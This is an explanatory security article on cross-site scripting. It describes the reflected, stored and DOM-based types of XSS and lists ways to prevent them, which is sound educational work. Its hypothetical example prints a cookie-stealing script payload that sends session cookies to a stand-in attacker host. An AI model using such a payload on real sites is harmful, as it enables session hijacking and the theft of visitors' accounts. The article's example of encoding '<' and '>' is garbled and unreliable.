Understanding the Threat of XSS (Cross-Site Scripting)

Gilad David Maayan
Published 03/06/2024
Share this on:

Understanding the threat of xssWhen looking at the threat landscape of the web, one of the most often underestimated and overlooked vulnerabilities is cross-site scripting.

Cross-site scripting (also known as XSS) attacks are, statistically, one of the most prevalent and damaging web application security risks today. It was the most reported vulnerability at the start of 2023, with vulnerabilities of medium severity (at minimum) increasing exponentially as the year progressed.

These attacks involve malicious client-side scripts being injected into web pages, with an attacker often masquerading as a victim user who can carry out actions that legitimate users can perform. The attackers often circumvent the application and thus compromise the interactions that users have with that application.

While XSS attacks may not always lead directly to a data breach, they are often fundamental parts of a hacker’s reconnaissance efforts, opening the doors for potential additional exploits if not addressed or contained.

These attacks involve injecting malicious client-side scripts into web pages viewed by other users. While XSS attacks may not always lead directly to a data breach, they are often part of a hacker’s reconnaissance efforts and can open doors for additional exploits if not addressed. In this article, we will explore what XSS attacks are, the various types, and most importantly, how to prevent them from impacting your organization.

 

How Does Cross-Site Scripting Work?


XSS attacks occur when unvalidated, malicious or ‘bad’ scripts and code are entered into a user’s browser. The XSS injection occurs on a credible, legitimate and otherwise trustworthy website with a security vulnerability known to the malicious actor, but not to the website owner.

Many site owners remain unaware of XSS attacks taking place for some time until each user’s browser is slowly and methodically attacked. An example of an XSS injection would see a hacker inputting harmful JavaScript code into a login form which is then displayed unfiltered on a web page. When other users load that page on their browsers, the malicious script can access sensitive data, session cookies, or personal login credentials, or redirect the browser to malicious sites. In essence, XSS vulnerabilities boil down to improper data handling and lax security.

Any web application that allows user input can be vulnerable, which is why it’s crucial to audit websites regularly for vulnerabilities, often consulting third-party penetration testing companies to validate all known security flaws for remediation. Attackers can exploit even the slightest weak spot in a business infrastructure, bypass access controls, exploit users and compromise data if they have the technical know-how.

 


 

Want More Tech News? Subscribe to ComputingEdge Newsletter Today!

 


 

Types of XSS Attacks


There are three primary types of cross-site scripting attacks:

 

Reflected XSS

Reflected XSS involves injecting a malicious script into a vulnerable HTTP request. If a user visits a URL constructed by the hacker, then the script executes in the user’s browser in the context of that user’s application session, usually in the form of a phishing link disguised in the HTML. The malicious code remains unstored and only impacts an individual session.

 

Stored XSS

Stored XSS (also known as second-order XSS) occurs when an application receives data from an untrusted source, and that data is stored for later HTTP responses.

In other words, malicious scripts are stored on the web application, usually concealed covertly in a database, blog post, forum, or another otherwise native element, with any user visiting or accessing that resource being exploited via their browser. One injection can impact multiple victims over time if that script is allowed to permeate and spread.

 

DOM-Based XSS

DOM XSS exploits vulnerable client-side JavaScript code rather than injecting scripts on the server side. Usually, by writing the data back to the DOM, untrusted data is processed unsafely within an application.

The malicious scripts are executed as part of the client-side JavaScript on loading of the page rather than being permanently stored there. However, the result is the same – malicious code running in the victim’s browser.

 

What Do XSS Attacks Look Like?


Although an attack doesn’t inflict direct harm on the website owner, it can have dire consequences for visitors to a compromised site. It can lead to:

  • Redirects to unsecured, malicious sites
  • Browsers crashing completely
  • Active cookie and login data theft
  • Account and credential compromise
  • Fraudulent activity using stolen information

Notable examples include the British Airways and T Mobile XSS attacks which resulted in millions of customers’ data being affected.

To understand how dangerous XSS flaws can be, let’s look at a hypothetical example:

  1. A hacker discovers a website forum that displays user comments without any output encoding or validation.
  2. The attacker covertly injects a script like <script>window.location=’http://hackersite.com?cookie=’+document.cookie</script> into one of their comments that looks innocuous.
  3. Now whenever any user loads the page with this comment, the script will execute and send their session cookie to the hacker’s server.
  4. By accessing the session cookie, the hacker can hijack the victim’s account on the web application.
  5. The attacker could go on to post more comments with malicious scripts and exploit more users.

This is one minor example of how XSS vulnerabilities can exist in otherwise innocent-looking web applications.

 

Overlooked Threat Vectors


The key enabler of XSS attacks is the poor handling of untrusted data in a web application. Unfortunately, many companies fail to recognize or prioritize certain vulnerabilities:

  • Legacy web apps – Older web applications were built without security in mind and may unknowingly be prone to XSS injections.
  • Rich text/HTML editors – Features allowing custom fonts, embedded media etc often do not validate pasted input properly, making them easy to exploit.
  • Third-party integrations – Connecting apps via APIs or plugins creates additional data flow holes that need validation. Unsupervised use and lack of testing means these integrations can be quickly and easily compromised.

Proactively auditing for such threat vectors across web properties is essential to avoid surprises down the line.

 

Preventing XSS Vulnerabilities


Over 60% of all website applications are statistically vulnerable to XSS attacks. Although mitigating 100% of attacks may be unlikely, there are baseline measures you can take to safeguard valuable business assets and data.

The key principles for preventing XSS flaws include:

  • Validate all inputs by restricting input parameters like text fields, URLs, headers, etc. and reject if not met.
  • Encode generated pages before sending responses to prevent embedded scripts from executing (e.g. converting characters like ‘<‘ and ‘>’ to
    ‘&alt’ when displaying user input in HTML.
  • Test browser stability by injecting your payloads to simulate XSS attacks with JavaScript or another programming language.
  • Use security filters on websites that prevent user input from injecting suspicious code.
  • Patch software regularly with all new security updates, delegating them to be managed and tested by dedicated IT professionals.
  • Audit and scan your operating systems regularly, identifying vulnerable areas from logs.
  • Install enterprise-grade web application firewalls to block bots and filter out malicious scripts.
  • Upskill your team on recognizing XSS attacks and minimizing the attack surface.
  • Enforce strict user access controls, backed up by strong, unique password policies and MFA (multi-factor authentication).

While XSS attacks remain highly dangerous and prevalent in this day and age, they are preventable with the right security measures. Don’t rely solely on these baseline security practices to weed out XSS attackers, however, continual education and awareness is key if your infrastructure is to remain stable and uncompromised.

 

Disclaimer: The author is completely responsible for the content of this article. The opinions expressed are their own and do not represent IEEE’s position nor that of the Computer Society nor its Leadership.